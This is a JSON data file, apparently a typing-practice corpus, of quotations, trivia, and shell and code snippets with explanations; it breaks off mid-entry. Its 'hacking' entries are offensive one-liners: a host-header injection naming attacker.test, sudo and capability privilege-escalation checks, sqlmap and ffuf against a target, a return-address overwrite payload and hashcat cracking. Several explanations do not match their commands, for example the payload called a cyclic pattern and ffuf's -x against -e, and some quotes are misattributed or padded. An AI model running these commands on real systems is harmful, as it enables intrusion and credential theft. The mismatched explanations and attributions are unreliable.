[
  {
    "category": "programming",
    "content": "SELECT user_id, wpm, RANK() OVER (PARTITION BY mode ORDER BY wpm DESC) AS rank FROM results;",
    "attribution": "SQL",
    "language": "clike",
    "explanation": "A window function ranks rows within each partition without collapsing them, which a GROUP BY cannot do."
  },
  {
    "category": "shell",
    "content": "comm -13 <(sort old.txt) <(sort new.txt)",
    "attribution": "Pipelines",
    "language": "shell",
    "explanation": "comm compares two sorted files by column: -13 shows only lines unique to the second, which is the set that was added."
  },
  {
    "category": "shell",
    "content": "awk '!seen[$0]++' file.txt",
    "attribution": "awk",
    "language": "shell",
    "explanation": "Deduplicate without sorting, preserving original order. The array records what has been seen; !seen[$0]++ is true only the first time."
  },
  {
    "category": "sysadmin",
    "content": "ip -br -c addr show | awk '$2 == \"UP\" {print $1, $3}'",
    "attribution": "ip",
    "language": "shell",
    "explanation": "-br is brief output, one line per interface, which is far easier to parse than the default. This prints the name and address of every interface currently up."
  },
  {
    "category": "philosophy",
    "content": "The only true wisdom is in knowing you know nothing.",
    "attribution": "Socrates"
  },
  {
    "category": "history",
    "content": "Roads outlast the empires that build them. Long after the administration that paid for it has gone, the route remains the easiest way through the landscape, and towns keep growing along a line drawn for reasons nobody remembers.",
    "attribution": "Unknown"
  },
  {
    "category": "business",
    "content": "Every moment in business happens only once. The next Bill Gates will not build an operating system.",
    "attribution": "Peter Thiel, Zero to One"
  },
  {
    "category": "nature",
    "content": "Rivers do not run straight for long. Any slight bend sends faster water to the outer bank, which erodes, while the slower inner bank builds up, and the curve deepens until the river eventually cuts across it.",
    "attribution": "Unknown"
  },
  {
    "category": "science",
    "content": "The whole history of science has been the gradual realisation that events do not happen in an arbitrary manner.",
    "attribution": "Stephen Hawking, A Brief History of Time"
  },
  {
    "category": "science",
    "content": "Science and everyday life cannot and should not be separated.",
    "attribution": "Rosalind Franklin"
  },
  {
    "category": "technology",
    "content": "We have modified our environment so radically that we must now modify ourselves to exist in this new environment.",
    "attribution": "Norbert Wiener"
  },
  {
    "category": "history",
    "content": "The only thing we have to fear is fear itself: nameless, unreasoning, unjustified terror.",
    "attribution": "Franklin D. Roosevelt, 1933"
  },
  {
    "category": "technology",
    "content": "A distributed system is one in which the failure of a computer you didn't know existed can render your own computer unusable.",
    "attribution": "Leslie Lamport"
  },
  {
    "category": "sysadmin",
    "content": "ip route get 8.8.8.8",
    "attribution": "Network",
    "language": "shell",
    "explanation": "Which route the kernel will actually use for a destination, including the source address it will pick."
  },
  {
    "category": "sysadmin",
    "content": "ps -eo pid,user,rss,pcpu,comm --sort=-rss | head -12",
    "attribution": "Processes",
    "language": "shell",
    "explanation": "The heaviest processes by resident memory. --sort takes a minus for descending order."
  },
  {
    "category": "sysadmin",
    "content": "tcpdump -ni any 'tcp[tcpflags] & tcp-syn != 0' -c 20",
    "attribution": "Network",
    "language": "shell",
    "explanation": "Captures the start of connections only. -n skips DNS lookups, which otherwise generate the traffic you are trying to read."
  },
  {
    "category": "nature",
    "content": "It seems to me that the natural world is the greatest source of excitement, of visual beauty, of intellectual interest.",
    "attribution": "David Attenborough"
  },
  {
    "category": "programming",
    "content": "public static void main(String[] args) { System.out.println(\"ready\"); }",
    "attribution": "Java",
    "language": "clike",
    "explanation": "Java's entry point. The signature is fixed: static so it runs without an instance, and taking the command-line arguments."
  },
  {
    "category": "technology",
    "content": "All problems in computer science can be solved by another level of indirection.",
    "attribution": "Butler Lampson"
  },
  {
    "category": "general",
    "content": "Screens changed how long a sentence needs to be. Print rewarded a long, wound clause that a reader could return to; a screen rewards a sentence that can be finished in one look. Neither is better writing, but they are not the same craft.",
    "attribution": "Unknown"
  },
  {
    "category": "general",
    "content": "Antarctica is technically the largest desert on the planet. Despite being covered in ice, it receives very little precipitation each year, which is the defining characteristic of a desert rather than temperature alone.",
    "attribution": "Unknown"
  },
  {
    "category": "literature",
    "content": "All we have to decide is what to do with the time that is given us.",
    "attribution": "J.R.R. Tolkien, The Fellowship of the Ring"
  },
  {
    "category": "movies",
    "content": "What we do in life echoes in eternity.",
    "attribution": "Gladiator (2000)"
  },
  {
    "category": "anime",
    "content": "Hard work is worthless for those that don't believe in themselves.",
    "attribution": "Naruto"
  },
  {
    "category": "philosophy",
    "content": "It does not matter how slowly you go as long as you do not stop.",
    "attribution": "Confucius, Analects"
  },
  {
    "category": "shell",
    "content": "grep -oE '[0-9]{1,3}(\\.[0-9]{1,3}){3}' access.log | sort -u | wc -l",
    "attribution": "Text processing",
    "language": "shell",
    "explanation": "grep -o prints only the match, one per line, which turns a search into a stream you can count."
  },
  {
    "category": "science",
    "content": "The first principle is that you must not fool yourself, and you are the easiest person to fool.",
    "attribution": "Richard Feynman"
  },
  {
    "category": "technology",
    "content": "The human mind operates by association. With one item in its grasp, it snaps instantly to the next that is suggested.",
    "attribution": "Vannevar Bush, As We May Think"
  },
  {
    "category": "science",
    "content": "The plural of anecdote is not data. A hundred stories that agree can still all be wrong in the same direction, which is exactly what happens when the way the stories were collected favours one answer.",
    "attribution": "Unknown"
  },
  {
    "category": "shell",
    "content": "awk 'NR == FNR {seen[$1]; next} !($1 in seen)' first.txt second.txt",
    "attribution": "awk",
    "language": "shell",
    "explanation": "NR is the overall line number and FNR restarts per file, so NR == FNR is true only while reading the first file. This prints lines of the second file whose first field never appeared in the first."
  },
  {
    "category": "movies",
    "content": "If you could see your whole life laid out in front of you, would you change things?",
    "attribution": "Arrival (2016)"
  },
  {
    "category": "general",
    "content": "Reading and typing pull in opposite directions. Reading rewards skipping ahead and guessing the shape of a word from its first letters, while typing punishes exactly that. The habit that makes someone a fast reader is often the one that makes them an inaccurate typist.",
    "attribution": "Unknown"
  },
  {
    "category": "shell",
    "content": "make 2>&1 | tee build.log | grep -E 'error|warning'",
    "attribution": "Pipelines",
    "language": "shell",
    "explanation": "tee writes to a file and passes the stream on, so you can log and keep processing in the same pipeline."
  },
  {
    "category": "hacking",
    "content": "curl -H 'X-Forwarded-Host: attacker.test' -s https://target/reset | grep -i location",
    "attribution": "Web",
    "language": "shell",
    "explanation": "A header the application echoes back into a redirect or a password-reset link is a host header injection."
  },
  {
    "category": "science",
    "content": "A new scientific truth does not triumph by convincing its opponents, but rather because its opponents eventually die.",
    "attribution": "Max Planck"
  },
  {
    "category": "quotes",
    "content": "It is not the critic who counts; not the man who points out how the strong man stumbles. The credit belongs to the man who is actually in the arena, whose face is marred by dust and sweat and blood.",
    "attribution": "Theodore Roosevelt, Citizenship in a Republic"
  },
  {
    "category": "science",
    "content": "What you do makes a difference, and you have to decide what kind of difference you want to make.",
    "attribution": "Jane Goodall"
  },
  {
    "category": "science",
    "content": "The good thing about science is that it's true whether or not you believe in it.",
    "attribution": "Neil deGrasse Tyson"
  },
  {
    "category": "science",
    "content": "An experiment that cannot fail proves nothing. The value of a test lies entirely in the outcome it rules out, so a prediction compatible with every result is not a prediction at all.",
    "attribution": "Unknown"
  },
  {
    "category": "programming",
    "content": "match result { Ok(v) => println!(\"{v}\"), Err(e) => eprintln!(\"error: {e}\") }",
    "attribution": "Rust",
    "language": "rust",
    "explanation": "match on a Result must cover both arms - the compiler rejects it otherwise, which is how Rust stops an error going unhandled."
  },
  {
    "category": "sysadmin",
    "content": "rsync -avhn --delete /src/ /dest/",
    "attribution": "Backup",
    "language": "shell",
    "explanation": "Mirrors a tree, deletes what no longer exists on the source, and shows what it would do first. Never run this without -n the first time."
  },
  {
    "category": "general",
    "content": "Errors cluster. Watch anyone type for a minute and the mistakes will not be spread evenly across the passage: they gather at the same letter pairs, the same reaches, the same moment attention wanders after a long word. This is good news, because a cluster can be practised directly while a general weakness cannot. The fastest way to get better is rarely to type more; it is to find the six combinations responsible for most of the damage and drill those until they stop being decisions.",
    "attribution": "Unknown"
  },
  {
    "category": "hacking",
    "content": "sudo -l 2>/dev/null | grep -E 'NOPASSWD|\\(ALL\\)'",
    "attribution": "Post-exploitation",
    "language": "shell",
    "explanation": "Lists what the current user may run as root. A single entry with NOPASSWD is often the whole path to root."
  },
  {
    "category": "science",
    "content": "The Analytical Engine weaves algebraical patterns just as the Jacquard loom weaves flowers and leaves.",
    "attribution": "Ada Lovelace"
  },
  {
    "category": "hacking",
    "content": "getcap -r / 2>/dev/null | grep -E 'cap_(setuid|dac_override|sys_admin)'",
    "attribution": "Post-exploitation",
    "language": "shell",
    "explanation": "Capabilities are finer-grained than setuid but grant real power. cap_setuid on an interpreter is root."
  },
  {
    "category": "movies",
    "content": "A census taker once tried to test me. I ate his liver with some fava beans and a nice chianti.",
    "attribution": "The Silence of the Lambs (1991)"
  },
  {
    "category": "general",
    "content": "Venus is the hottest planet in the solar system, even though Mercury sits closer to the sun. A thick blanket of carbon dioxide traps heat at the surface.",
    "attribution": "Unknown"
  },
  {
    "category": "sysadmin",
    "content": "ss -ltnp | awk 'NR>1 {print $4, $6}'",
    "attribution": "Network",
    "language": "shell",
    "explanation": "Listening sockets with the process behind each one. The modern replacement for netstat -tulpn."
  },
  {
    "category": "hacking",
    "content": "ffuf -u https://target/FUZZ -w wordlist.txt -e .php,.bak,.old -mc 200,301,403",
    "attribution": "Web",
    "language": "shell",
    "explanation": "Directory brute force. -x tries extensions, so index.php.bak and config.old surface alongside directories."
  },
  {
    "category": "business",
    "content": "When a measure becomes a target, it ceases to be a good measure.",
    "attribution": "Goodhart's Law"
  },
  {
    "category": "programming",
    "content": "export async function load(url) { const res = await fetch(url); return res.json(); }",
    "attribution": "JavaScript",
    "language": "javascript",
    "explanation": "fetch resolves as soon as headers arrive, so .json() is a second await for the body. It does not throw on a 404 - check res.ok."
  },
  {
    "category": "programming",
    "content": "groups = defaultdict(list); [groups[w[0]].append(w) for w in words]",
    "attribution": "Python",
    "language": "python",
    "explanation": "defaultdict removes the exists-check before every append, which is the most common shape of a grouping loop."
  },
  {
    "category": "general",
    "content": "The human brain generates enough electricity to power a small light bulb. Billions of neurons firing electrical signals at once produce roughly the same wattage as a dim household lamp.",
    "attribution": "Unknown"
  },
  {
    "category": "technology",
    "content": "You can't trust code that you did not totally create yourself.",
    "attribution": "Ken Thompson, Reflections on Trusting Trust"
  },
  {
    "category": "technology",
    "content": "We shape our tools, and thereafter our tools shape us.",
    "attribution": "Marshall McLuhan"
  },
  {
    "category": "hacking",
    "content": "sqlmap -u 'https://target/item?id=1' --batch --level 3 --risk 2 --dbs",
    "attribution": "sqlmap",
    "language": "shell",
    "explanation": "--batch answers prompts with the default so it runs unattended. Level and risk widen the payloads tried, at the cost of a much noisier and slower test."
  },
  {
    "category": "technology",
    "content": "A ship in port is safe, but that's not what ships are built for.",
    "attribution": "Grace Hopper"
  },
  {
    "category": "anime",
    "content": "Don't be afraid of things you don't understand. Just accept them as they are.",
    "attribution": "Mushishi"
  },
  {
    "category": "general",
    "content": "The most useful thing about a fixed layout is that it is fixed. Whatever its faults, and it has several, the arrangement of letters on a keyboard has not changed in a century, which means the skill transfers to every machine you will ever sit at. A better layout that only you use is worth less than a worse one everybody shares. This is true of far more than keyboards, and it is the reason so many obviously improvable standards survive every attempt to improve them.",
    "attribution": "Unknown"
  },
  {
    "category": "movies",
    "content": "My mama always said life was like a box of chocolates. You never know what you're gonna get.",
    "attribution": "Forrest Gump (1994)"
  },
  {
    "category": "business",
    "content": "Success breeds complacency. Complacency breeds failure. Only the paranoid survive.",
    "attribution": "Andy Grove, Only the Paranoid Survive"
  },
  {
    "category": "programming",
    "content": "let total: i64 = values.iter().filter(|v| **v > 0).sum();",
    "attribution": "Rust",
    "language": "rust",
    "explanation": "iter() borrows rather than consuming. The double deref is because filter hands you a reference to the iterator's own reference."
  },
  {
    "category": "movies",
    "content": "Do. Or do not. There is no try.",
    "attribution": "The Empire Strikes Back (1980)"
  },
  {
    "category": "literature",
    "content": "The studio was filled with the rich odour of roses, and when the light summer wind stirred amidst the trees of the garden, there came through the open door the heavy scent of the lilac, or the more delicate perfume of the pink-flowering thorn.",
    "attribution": "Oscar Wilde, The Picture of Dorian Gray"
  },
  {
    "category": "general",
    "content": "Bananas are botanically classified as berries, while strawberries are not. The classification depends on how the fruit develops from the flower, not on taste or size.",
    "attribution": "Unknown"
  },
  {
    "category": "general",
    "content": "A single bolt of lightning can heat the surrounding air to temperatures hotter than the surface of the sun. The rapid expansion of that superheated air is what produces the crack of thunder we hear moments later.",
    "attribution": "Unknown"
  },
  {
    "category": "programming",
    "content": "impl fmt::Display for Error { fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { write!(f, \"{}: {}\", self.kind, self.detail) } }",
    "attribution": "Rust",
    "language": "rust",
    "explanation": "Implementing Display is what lets a type be printed with the plain brace form. The formatter carries the width and precision the caller asked for."
  },
  {
    "category": "literature",
    "content": "It was the best of times, it was the worst of times.",
    "attribution": "Charles Dickens, A Tale of Two Cities"
  },
  {
    "category": "technology",
    "content": "Any sufficiently advanced technology is indistinguishable from magic.",
    "attribution": "Arthur C. Clarke"
  },
  {
    "category": "general",
    "content": "Sharks existed long before trees. Fossil evidence suggests that sharks have been swimming in the oceans for more than four hundred million years, while the earliest trees did not appear until tens of millions of years later.",
    "attribution": "Unknown"
  },
  {
    "category": "quotes",
    "content": "To be great is to be misunderstood.",
    "attribution": "Ralph Waldo Emerson, Self-Reliance"
  },
  {
    "category": "shell",
    "content": "curl -sS -w '%{http_code} %{time_total}s\\n' -o /dev/null https://example.com",
    "attribution": "curl",
    "language": "shell",
    "explanation": "-o /dev/null throws the body away while -w prints chosen variables, which turns curl into a quick check of status and latency alone."
  },
  {
    "category": "literature",
    "content": "It was on a dreary night of November that I beheld the accomplishment of my toils. With an anxiety that almost amounted to agony, I collected the instruments of life around me, that I might infuse a spark of being into the lifeless thing that lay at my feet.",
    "attribution": "Mary Shelley, Frankenstein"
  },
  {
    "category": "literature",
    "content": "To Sherlock Holmes she is always the woman. I have seldom heard him mention her under any other name. In his eyes she eclipses and predominates the whole of her sex.",
    "attribution": "Arthur Conan Doyle, A Scandal in Bohemia"
  },
  {
    "category": "sysadmin",
    "content": "ssh -N -L 5432:127.0.0.1:5432 dbhost",
    "attribution": "SSH",
    "language": "shell",
    "explanation": "Forwards a remote port to the local machine, so a service bound to localhost on the server is reachable here."
  },
  {
    "category": "programming",
    "content": "const { id, name = 'anonymous', ...rest } = await request.json();",
    "attribution": "JavaScript",
    "language": "javascript",
    "explanation": "Destructuring with a default and a rest property. The default applies only when the value is undefined, not when it is null."
  },
  {
    "category": "hacking",
    "content": "payload = b'A' * 72 + p64(0x401196) + p64(win_addr)",
    "attribution": "Exploit dev",
    "language": "python",
    "explanation": "A cyclic pattern. Whatever four bytes end up in the instruction pointer tell you the exact offset to the return address."
  },
  {
    "category": "history",
    "content": "That's one small step for a man, one giant leap for mankind.",
    "attribution": "Neil Armstrong, 1969"
  },
  {
    "category": "shell",
    "content": "sed -n '10,20p' large.log",
    "attribution": "sed",
    "language": "shell",
    "explanation": "Prints only lines 10 to 20. -n suppresses the default print, and p prints the range that matched."
  },
  {
    "category": "programming",
    "content": "export const debounce = (fn, ms) => { let t; return (...args) => { clearTimeout(t); t = setTimeout(() => fn(...args), ms); }; };",
    "attribution": "JavaScript",
    "language": "javascript",
    "explanation": "The timer handle lives in the closure, so every returned function keeps its own. Each call cancels the pending one, and only a pause longer than ms lets the work through."
  },
  {
    "category": "movies",
    "content": "Listen to me. There is no version of this where you walk away clean. You knew that when you started, and the only question left is whether you finish something worth having done.",
    "attribution": "Unknown"
  },
  {
    "category": "hacking",
    "content": "curl -sI https://target/login | grep -i 'set-cookie' | grep -ci 'httponly.*secure'",
    "attribution": "Web",
    "language": "shell",
    "explanation": "Checks whether a session cookie carries the flags that stop JavaScript reading it and stop it crossing sites."
  },
  {
    "category": "general",
    "content": "The quick brown fox jumps over the lazy dog.",
    "attribution": "Traditional pangram"
  },
  {
    "category": "technology",
    "content": "The network is not reliable, latency is not zero, bandwidth is not infinite, and the topology does not stay still. Every distributed system that ignores one of these eventually rediscovers it under load.",
    "attribution": "Unknown"
  },
  {
    "category": "shell",
    "content": "sed -i.bak -E 's/([0-9]{4})-([0-9]{2})-([0-9]{2})/\\3\\/\\2\\/\\1/g' dates.csv",
    "attribution": "sed",
    "language": "shell",
    "explanation": "-i.bak edits in place and keeps the original alongside. The parenthesised groups are recalled as \\1, \\2 and \\3, which is how the date order is rearranged."
  },
  {
    "category": "nature",
    "content": "No one will protect what they don't care about, and no one will care about what they have never experienced.",
    "attribution": "David Attenborough"
  },
  {
    "category": "technology",
    "content": "Version control does not exist to store code. It exists to answer the question of what changed and why, which is the only question that matters when something has broken and nobody remembers touching it.",
    "attribution": "Unknown"
  },
  {
    "category": "general",
    "content": "Accuracy is cheaper than speed. Every mistake costs the keystroke that made it, the keystroke that deletes it and the one that replaces it, so a typist working at ninety percent accuracy is doing noticeably more work than the number alone suggests.",
    "attribution": "Unknown"
  },
  {
    "category": "literature",
    "content": "It is a truth universally acknowledged, that a single man in possession of a good fortune, must be in want of a wife. However little known the feelings or views of such a man may be on his first entering a neighbourhood, this truth is so well fixed in the minds of the surrounding families.",
    "attribution": "Jane Austen, Pride and Prejudice"
  },
  {
    "category": "anime",
    "content": "You should enjoy the little detours to the fullest, because that's where you'll find the things more important than what you want.",
    "attribution": "Hunter x Hunter"
  },
  {
    "category": "sysadmin",
    "content": "ss -tulpn | awk 'NR > 1 {print $1, $5, $7}' | sort -u",
    "attribution": "ss",
    "language": "shell",
    "explanation": "ss has replaced netstat on Linux. -tulpn lists listening TCP and UDP sockets with the owning process, and the awk trims it to protocol, address and program."
  },
  {
    "category": "programming",
    "content": "try: value = int(raw) except ValueError: value = 0",
    "attribution": "Python",
    "language": "python",
    "explanation": "Catching the specific exception, not a bare except - a bare one would also swallow KeyboardInterrupt."
  },
  {
    "category": "philosophy",
    "content": "The impediment to action advances action. What stands in the way becomes the way.",
    "attribution": "Marcus Aurelius, Meditations"
  },
  {
    "category": "programming",
    "content": "if (typeof value !== 'string' || value.length === 0) { return null; }",
    "attribution": "JavaScript",
    "language": "javascript",
    "explanation": "A guard clause: reject the bad input first and return, instead of nesting the real work inside an if."
  },
  {
    "category": "anime",
    "content": "A lesson without pain is meaningless. That's because you can't gain something without sacrificing something else in return. But once you've overcome it and made it your own, you will gain a heart strong enough not to be overcome by anything.",
    "attribution": "Fullmetal Alchemist"
  },
  {
    "category": "nature",
    "content": "The mountains are calling and I must go.",
    "attribution": "John Muir"
  },
  {
    "category": "anime",
    "content": "Once you've met someone, you never really forget them.",
    "attribution": "Spirited Away"
  },
  {
    "category": "history",
    "content": "There are many causes that I am prepared to die for but no causes that I am prepared to kill for.",
    "attribution": "Mahatma Gandhi"
  },
  {
    "category": "nature",
    "content": "In every walk with nature one receives far more than he seeks.",
    "attribution": "John Muir"
  },
  {
    "category": "literature",
    "content": "The year 1866 was signalised by a remarkable incident, a mysterious and inexplicable phenomenon, which doubtless no one has yet forgotten. Ships had met with a huge thing, a long object, spindle-shaped, and at times phosphorescent.",
    "attribution": "Jules Verne, Twenty Thousand Leagues Under the Sea"
  },
  {
    "category": "literature",
    "content": "Mr. Sherlock Holmes, who was usually very late in the mornings, save upon those not infrequent occasions when he was up all night, was seated at the breakfast table.",
    "attribution": "Arthur Conan Doyle, The Hound of the Baskervilles"
  },
  {
    "category": "nature",
    "content": "Tell me, what is it you plan to do with your one wild and precious life?",
    "attribution": "Mary Oliver"
  },
  {
    "category": "general",
    "content": "Speed and accuracy are not a trade-off in the way people assume. Below a certain accuracy the corrections cost more time than the extra pace ever earned, so the fastest sustainable rate is not the fastest possible one. Most typists asked to slow down and stop making mistakes end up finishing sooner, which is a surprising result until you count the keystrokes rather than the seconds, at which point it becomes obvious and slightly embarrassing.",
    "attribution": "Unknown"
  },
  {
    "category": "nature",
    "content": "There lives the dearest freshness deep down things.",
    "attribution": "Gerard Manley Hopkins, God's Grandeur"
  },
  {
    "category": "technology",
    "content": "There are only two hard things in computer science: cache invalidation, naming things, and off-by-one errors. The joke survives because all three are the same problem wearing different clothes. Each is about the gap between a model in someone's head and the thing the model stands for, and each becomes visible only at the boundary where one part of a system hands something to another. Nothing inside a function is ever hard in this way.",
    "attribution": "Unknown"
  },
  {
    "category": "sysadmin",
    "content": "lsof +L1 2>/dev/null | awk '$7 > 100000000 {print $1, $7, $NF}'",
    "attribution": "Disk",
    "language": "shell",
    "explanation": "Finds space held by deleted files that a process still has open. Deleting the file does not free the space until the handle closes."
  },
  {
    "category": "anime",
    "content": "If everyone is not special, maybe you can be what you want to be.",
    "attribution": "Mob Psycho 100"
  },
  {
    "category": "shell",
    "content": "sort access.log | awk '{print $1}' | sort | uniq -c | sort -rn | head -20",
    "attribution": "shell",
    "language": "shell",
    "explanation": "uniq -c counts runs of identical adjacent lines, which is why the sort before it is required. sort -rn then orders those counts highest first, giving the twenty busiest addresses."
  },
  {
    "category": "history",
    "content": "I have a dream that my four little children will one day live in a nation where they will not be judged by the colour of their skin.",
    "attribution": "Martin Luther King Jr., 1963"
  },
  {
    "category": "history",
    "content": "We must always take sides. Neutrality helps the oppressor, never the victim. Silence encourages the tormentor.",
    "attribution": "Elie Wiesel, 1986"
  },
  {
    "category": "movies",
    "content": "Louis, I think this is the beginning of a beautiful friendship.",
    "attribution": "Casablanca (1942)"
  },
  {
    "category": "literature",
    "content": "Buck did not read the newspapers, or he would have known that trouble was brewing, not alone for himself, but for every tide-water dog, strong of muscle and with warm, long hair, from Puget Sound to San Diego.",
    "attribution": "Jack London, The Call of the Wild"
  },
  {
    "category": "movies",
    "content": "I have always depended on the kindness of strangers. It is not a noble way to live, and I would not recommend it to anyone, but it has carried me further than any plan I ever made for myself.",
    "attribution": "Tennessee Williams, A Streetcar Named Desire"
  },
  {
    "category": "quotes",
    "content": "The two most important days in your life are the day you are born and the day you find out why.",
    "attribution": "Mark Twain"
  },
  {
    "category": "business",
    "content": "The essence of strategy is choosing what not to do.",
    "attribution": "Michael Porter"
  },
  {
    "category": "nature",
    "content": "Soil is alive. A single handful holds more organisms than there are people on the planet, and the fertility of a field is mostly a measure of how well that population is doing.",
    "attribution": "Unknown"
  },
  {
    "category": "science",
    "content": "The most incomprehensible thing about the world is that it is comprehensible.",
    "attribution": "Albert Einstein"
  },
  {
    "category": "anime",
    "content": "When people are protecting something truly special to them, they truly can become as strong as they can be.",
    "attribution": "Naruto"
  },
  {
    "category": "nature",
    "content": "The earth does not belong to us. We belong to the earth.",
    "attribution": "Chief Seattle"
  },
  {
    "category": "sysadmin",
    "content": "rsync -avz --delete --exclude='.git' ./site/ deploy@host:/var/www/site/",
    "attribution": "rsync",
    "language": "shell",
    "explanation": "The trailing slash on the source copies the contents rather than the directory itself. --delete removes files on the far side that no longer exist locally, which makes the copy a mirror."
  },
  {
    "category": "movies",
    "content": "You mustn't be afraid to dream a little bigger, darling.",
    "attribution": "Inception (2010)"
  },
  {
    "category": "literature",
    "content": "Happy families are all alike, and it is a melancholy fact that the world accepts this cheerfully. Nobody wants to hear the details of contentment, while every variety of misfortune finds an eager audience.",
    "attribution": "Unknown"
  },
  {
    "category": "technology",
    "content": "We are stuck with technology when what we really want is just stuff that works.",
    "attribution": "Douglas Adams"
  },
  {
    "category": "history",
    "content": "Injustice anywhere is a threat to justice everywhere.",
    "attribution": "Martin Luther King Jr., Letter from Birmingham Jail, 1963"
  },
  {
    "category": "business",
    "content": "It takes twenty years to build a reputation and five minutes to ruin it.",
    "attribution": "Warren Buffett"
  },
  {
    "category": "hacking",
    "content": "tcpdump -i eth0 -nn -s0 -w capture.pcap 'tcp port 80 and host 10.0.0.5'",
    "attribution": "tcpdump",
    "language": "shell",
    "explanation": "-s0 captures whole packets rather than the first bytes. The quoted expression is a BPF filter, applied in the kernel, so unmatched traffic is never copied."
  },
  {
    "category": "sysadmin",
    "content": "chmod --reference=/etc/passwd /etc/passwd.new && chown --reference=/etc/passwd /etc/passwd.new",
    "attribution": "Permissions",
    "language": "shell",
    "explanation": "Copies the ownership and mode of one file onto another, rather than typing the numbers and getting them wrong."
  },
  {
    "category": "quotes",
    "content": "The only limit to our realization of tomorrow is our doubts of today.",
    "attribution": "Franklin D. Roosevelt"
  },
  {
    "category": "movies",
    "content": "Get busy living, or get busy dying.",
    "attribution": "The Shawshank Redemption (1994)"
  },
  {
    "category": "shell",
    "content": "cut -f2 data.tsv | paste -sd, -",
    "attribution": "Text processing",
    "language": "shell",
    "explanation": "paste joins lines side by side; -s -d joins them all into one line with the chosen separator."
  },
  {
    "category": "technology",
    "content": "The best way to predict the future is to invent it.",
    "attribution": "Alan Kay"
  },
  {
    "category": "programming",
    "content": "for i, v := range items { fmt.Printf(\"%d: %v\\n\", i, v) }",
    "attribution": "Go",
    "language": "clike",
    "explanation": "range yields index and value. In Go before 1.22 the loop variable was reused each iteration, which surprised anyone capturing it in a closure."
  },
  {
    "category": "programming",
    "content": "let config: Config = toml::from_str(&fs::read_to_string(path)?)?;",
    "attribution": "Rust",
    "language": "rust",
    "explanation": "The ? operator returns early on Err, converting the error type through From. It is what keeps error handling from nesting."
  },
  {
    "category": "general",
    "content": "The invention of the printing press in the fifteenth century transformed how knowledge spread across Europe. Books that once took months to copy by hand could suddenly be reproduced by the hundreds, making literacy far more accessible.",
    "attribution": "Unknown"
  },
  {
    "category": "technology",
    "content": "Adding manpower to a late software project makes it later.",
    "attribution": "Fred Brooks, The Mythical Man-Month"
  },
  {
    "category": "anime",
    "content": "Don't believe in yourself. Believe in me who believes in you.",
    "attribution": "Gurren Lagann"
  },
  {
    "category": "programming",
    "content": "SELECT u.name, COUNT(o.id) AS orders FROM users u LEFT JOIN orders o ON o.user_id = u.id GROUP BY u.id, u.name HAVING COUNT(o.id) > 5;",
    "attribution": "SQL",
    "language": "clike",
    "explanation": "A LEFT JOIN keeps users with no orders, and HAVING filters on the aggregate, which WHERE cannot do because WHERE runs before the grouping."
  },
  {
    "category": "business",
    "content": "Price is what you pay. Value is what you get.",
    "attribution": "Warren Buffett"
  },
  {
    "category": "shell",
    "content": "mount | column -t | grep -v tmpfs",
    "attribution": "Text processing",
    "language": "shell",
    "explanation": "column formats whitespace-separated input into aligned columns, which makes an unreadable log readable."
  },
  {
    "category": "nature",
    "content": "The earth is what we all have in common.",
    "attribution": "Wendell Berry"
  },
  {
    "category": "shell",
    "content": "sed -e 's/#.*//' -e '/^[[:space:]]*$/d' /etc/ssh/sshd_config",
    "attribution": "sed",
    "language": "shell",
    "explanation": "Deletes comments and blank lines, which is how you read a config that is mostly documentation."
  },
  {
    "category": "sysadmin",
    "content": "journalctl -u nginx -n 50 --no-pager -p err",
    "attribution": "systemd",
    "language": "shell",
    "explanation": "Why a unit failed, without paging through the whole journal. -u scopes to the unit, -n limits the lines, --no-pager keeps it in the pipeline."
  },
  {
    "category": "anime",
    "content": "Overspecialize, and you breed in weakness. It's slow death.",
    "attribution": "Ghost in the Shell"
  },
  {
    "category": "movies",
    "content": "All those moments will be lost in time, like tears in rain. Time to die.",
    "attribution": "Blade Runner (1982)"
  },
  {
    "category": "programming",
    "content": "git log -L 40,60:src/parser.rs --oneline",
    "attribution": "Git",
    "language": "shell",
    "explanation": "Who last touched each line of a range, which is how you find the person to ask rather than the person to blame."
  },
  {
    "category": "anime",
    "content": "People's lives don't end when they die. They end when they lose faith. A person who is remembered by someone still has something of themselves left in the world, and that is not nothing.",
    "attribution": "Unknown"
  },
  {
    "category": "shell",
    "content": "journalctl -u nginx --since '1 hour ago' -p err --no-pager | tail -50",
    "attribution": "journalctl",
    "language": "shell",
    "explanation": "-p err keeps only entries at error priority or worse. --no-pager matters in a script, where an interactive pager would otherwise wait for a keypress that never comes."
  },
  {
    "category": "technology",
    "content": "Caching is one of the two hard problems in computing, and naming things is the other. The difficulty is never storing the value; it is knowing the moment it stopped being true.",
    "attribution": "Unknown"
  },
  {
    "category": "anime",
    "content": "A lesson without pain is meaningless. That's because you cannot gain something without sacrificing something else in return.",
    "attribution": "Fullmetal Alchemist"
  },
  {
    "category": "technology",
    "content": "The web as I envisaged it, we have not seen it yet. The future is still so much bigger than the past.",
    "attribution": "Tim Berners-Lee"
  },
  {
    "category": "anime",
    "content": "When do you think people die? When they are forgotten.",
    "attribution": "One Piece"
  },
  {
    "category": "movies",
    "content": "I'm gonna make him an offer he can't refuse.",
    "attribution": "The Godfather (1972)"
  },
  {
    "category": "science",
    "content": "Extraordinary claims require extraordinary evidence.",
    "attribution": "Carl Sagan, The Demon-Haunted World"
  },
  {
    "category": "hacking",
    "content": "hashcat -m 0 -a 0 hashes.txt rockyou.txt --force",
    "attribution": "Crypto",
    "language": "shell",
    "explanation": "An MD5 of a known-weak hash type. Modern password hashing exists because this takes seconds, not years."
  },
  {
    "category": "sysadmin",
    "content": "dig +short TXT _dmarc.example.com @1.1.1.1",
    "attribution": "dig",
    "language": "shell",
    "explanation": "+short prints the record value alone. Naming a resolver after the at sign asks that server directly, which bypasses whatever the local system has cached."
  },
  {
    "category": "literature",
    "content": "All happy families are alike; each unhappy family is unhappy in its own way. Everything was in confusion in the Oblonskys' house. The wife had discovered that the husband was carrying on an intrigue with a French girl.",
    "attribution": "Leo Tolstoy, Anna Karenina"
  },
  {
    "category": "technology",
    "content": "There is no code faster than no code.",
    "attribution": "Kevlin Henney"
  },
  {
    "category": "general",
    "content": "A map is useful because of what it leaves out. A map that showed everything at full size would be the territory, and no easier to carry. The skill of making one is the skill of deciding what does not matter.",
    "attribution": "Unknown"
  },
  {
    "category": "hacking",
    "content": "hashcat -m 1000 -a 0 hashes.txt rockyou.txt -r rules/best64.rule",
    "attribution": "hashcat",
    "language": "shell",
    "explanation": "-m selects the hash type and -a 0 is a straight dictionary attack. A rule file mutates each candidate, which covers far more of the search space than the raw list."
  },
  {
    "category": "hacking",
